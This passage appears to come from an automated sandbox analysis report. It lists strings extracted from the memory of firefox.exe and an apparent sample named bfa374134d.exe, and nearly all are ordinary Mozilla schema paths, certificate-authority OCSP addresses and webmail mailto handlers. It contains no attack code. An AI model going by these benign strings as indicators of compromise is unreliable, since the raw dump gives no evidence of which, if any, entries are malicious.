Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/valuehttp://moz
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsbrowser.newtabpage.a
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slughttp://mozilla.org/#/propertie
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/featureIds/items
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/endDate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/brancheshttp://mozilla.org/#/properties/branches/anyOf/2http://mozil
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/counthttp://mozilla.org/#/properties/bucketC
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/starthttp://mozilla.org/#/properties/outcome
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfighttp://mozilla.org/#/properties/outcomes/itemshttp://moz
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channelhttp://mozilla.org/#/properties/userFacingNamehttp://mozilla.
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enableBookmarksToolbar
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOuthttp://mozilla.org/#/properties/proposedEnrol
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalPropertiesTabsToolbar
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priorityhttp://mozilla.org/#/properties/br
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slugThe
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targetinghttp://mozilla.org/#/properties/proposedDurationhttp://mozi
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF24AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5ABC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218257762.0000025CEAEC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2233466675.0000025CEBCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2194538364.0000025CE9E07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2200878652.0000025CEA33B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2194538364.0000025CE9E3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218257762.0000025CEAE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2199041465.0000025CEA25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2203131896.0000025CEA503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2126268179.0000025CF2532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2112678073.0000025CEA2EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2039254159.0000025CEC363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2230488431.0000025CEB503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1960177205.0000025CEA5E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2087164865.0000025CEB33B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2203131896.0000025CEA5E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2194538364.0000025CE9E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF2473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF2473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_STILL_APPLYING_NO_EXIT_CODESERVICE_STILL_APPLYING_TERM
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA6F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000003.2010216577.0000025CEC389000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2039254159.0000025CEC3DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE991B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2039254159.0000025CEC389000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE639E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulTrying
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE639E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUsing
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-data-s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE639E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulcreateNotificationMessageElement/setAle
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE639E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE639E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmaybeImportLogins:
Source: firefox.exe, 0000001A.00000002.2200878652.0000025CEA303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulp
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
